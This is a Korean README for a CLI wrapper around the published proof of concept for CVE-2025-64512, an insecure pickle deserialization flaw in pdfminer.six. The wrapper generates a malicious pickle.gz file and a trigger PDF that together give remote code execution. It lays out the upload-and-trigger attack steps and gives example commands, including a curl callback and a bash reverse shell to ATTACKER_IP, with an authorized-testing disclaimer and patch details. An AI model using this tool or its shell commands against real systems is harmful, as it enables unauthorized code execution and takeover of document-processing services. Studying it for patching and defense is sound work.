
CVE-2025-64512 PoC용 CLI 래퍼로, pdfminer.six의 안전하지 않은 역직렬화를 악용하고 조작된 PDF 처리를 통해 원격 코드 실행을 가능하게 하는 악성 PDF 및 pickle.gz 페이로드를 생성합니다.
⚠️ 면책 조항: 이 도구는 교육 목적과 승인된 침투 테스트 용도로만 제작되었습니다. 소유하고 있거나 명시적인 서면 승인을 받은 시스템에만 사용하십시오. 허가되지 않은 사용은 불법입니다.
pdfminer.six는 PDF 파일에서 텍스트와 메타데이터를 추출하는 널리 사용되는 Python 라이브러리로, 문서 처리 파이프라인, CLI 도구, AI/데이터 수집 워크플로우에 흔히 포함됩니다. 영향을 받는 버전은 CJK 글꼴 지원을 위한 CMap(문자 맵) 캐시 파일을 Python의 pickle 모듈로 로드하면서, 확인된 경로가 예상 캐시 디렉터리 내에 유지되는지 검증하지 않습니다.
특수하게 조작된 PDF는 이 CMap 조회를 위해 공격자가 제어하는 경로를 참조할 수 있습니다. 공격자가 해당 확인 경로에 악성 .pickle.gz 파일을 (예: 동일 위치의 파일 업로드 기능을 통해) 배치할 수 있다면, PDF 처리는 공격자가 제어하는 데이터에 대해 pickle.loads()를 트리거하여 임의 코드 실행으로 이어집니다. 이 정확한 메커니즘(PoC PDF 구조 포함)은 공식 권고에서 mtolley에 의해 문서화되었습니다.
이 저장소는 CVE-2025-64512에 대한 GitHub 보안 권고에 게시된 공식 개념 증명(PoC)을 감싸는 작은 CLI 래퍼입니다. 새로운 공격 기법을 도입하지 않습니다 — 악성 PDF 템플릿은 권고 자체에서 거의 그대로 가져온 것이며, 이 스크립트는 단지 대상 경로, 실행할 명령, 출력 파일 이름을 매개변수화하여 PoC를 더 쉽게 재사용할 수 있게 합니다.
pdfminer.six의 CMapDB._load_data()는 PDF 글꼴의 /Encoding 항목에서 가져온 CMap 이름을 파일 경로로 확인한 다음, 해당 경로가 .pickle.gz로 끝나면 pickle.loads()로 로드합니다. 이 함수는 확인된 경로가 pdfminer 자체 cmap/ 디렉터리 내부에 유지되는지 검증하지 않습니다.
/Encoding이 공격자가 선택한 경로를 참조하는 트리거 PDF(URL 인코딩에서 /는 #2F로 표기).<해당 경로>.pickle.gz에 존재하는 악성 .pickle.gz 파일.두 파일 모두 일반적으로 최종적으로 pdfminer.six가 처리하는 동일한 업로드 채널(예: 문서 수집 파이프라인)을 통해 전달될 수 있습니다. 단, 생성된 디스크상 경로를 예측하거나 발견할 수 있어야 합니다.
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as <name>.pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
gzip, pickle, argparse)payload를 생성하는 데는 타사 종속성이 필요하지 않습니다. 대상에는 취약한 pdfminer.six(또는 이에 의존하는 프로젝트)가 업로드된 PDF를 실제로 처리하고 있어야 합니다.
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
이 명령은 다음을 생성합니다:
payload.pickle.gz — 이 파일을 먼저 .../uploads/payload.pickle.gz로 업로드하세요.trigger.pdf — 이 파일을 두 번째로 업로드하세요. 대상이 pdfminer.six로 처리하면 명령이 실행됩니다.python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
| 필드 | 값 |
|---|
| CVE | CVE-2025-64512 |
| 영향받는 범위 | pdfminer.six ≤ 20250506 (및 markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| 유형 | 안전하지 않은 역직렬화(CWE-502) |
| 권한 | 없음(인증 불필요, PDF 처리가 노출된 경우) |
| 영향 | 임의 코드 실행 |
| 패치 | pdfminer.six 20251107+ |